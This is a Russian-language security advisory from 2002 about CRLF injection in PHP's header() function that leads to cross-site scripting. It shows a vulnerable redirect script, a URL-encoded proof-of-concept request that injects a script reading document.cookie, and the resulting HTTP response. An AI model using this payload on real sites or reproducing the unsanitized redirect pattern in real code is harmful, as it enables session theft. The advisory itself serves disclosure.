| Дата публикации: | 10.09.2002 |
| Дата изменения: | 17.10.2006 |
| Всего просмотров: | 12527 |
| Опасность: | Низкая |
| Наличие исправления: | Нет |
| Количество уязвимостей: | 1 |
| CVE ID: | Нет данных |
| Вектор эксплуатации: | Удаленная |
| Воздействие: | Межсайтовый скриптинг |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: | PHP 4.2.x |
| Описание: | Уязвимость обнаружена в способе, которым некоторые PHP сценарии обрабатывают входящие URL. Уязвимость позволяет нападающим заставлять такие сценарии отображать произвольный HTML или JavaScript код, который будет выполнен в контексту уязвимого сайта. Пример: PHP функция header() используется, чтобы изменить HTTP заголовки, определяя строку header, типа этого:
<?php header("Location: http://www.yahoo.com/"); ?>
Часто можно увидеть конструкцию, типа такой:
--- REDIR.PHP ---
<?php header("Location: $_GET['$url']"); ?>
--- REDIR.PHP ---
Запрос http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F %6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64% 6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2 1%2D%2D Произведет ряд заголовков:
HTTP/1.1 302 Found
Server: Xitami
Date: Sat, 07 Sep 2002 21:50:17 GMT
Content-length: 96
Content-type: text/html
X-powered-by: PHP/4.2.3
{Location: http://www.yahoo.com/
<SCRiPT>alert(document.cookie)</SCRIPT> <!--}
Content-type: text/html
Произведенный HTML код неправильный, так как не подчиняется RFC стандартам, потому что содержит "-->" тэг. Нападающий может выполнять произвольный код сценария в контексте уязвимого сайта или инициализировать загрузки (через HTTP заголовки, типа content-dispostion).
|
| Ссылки: | PHP header() CRLF Injection |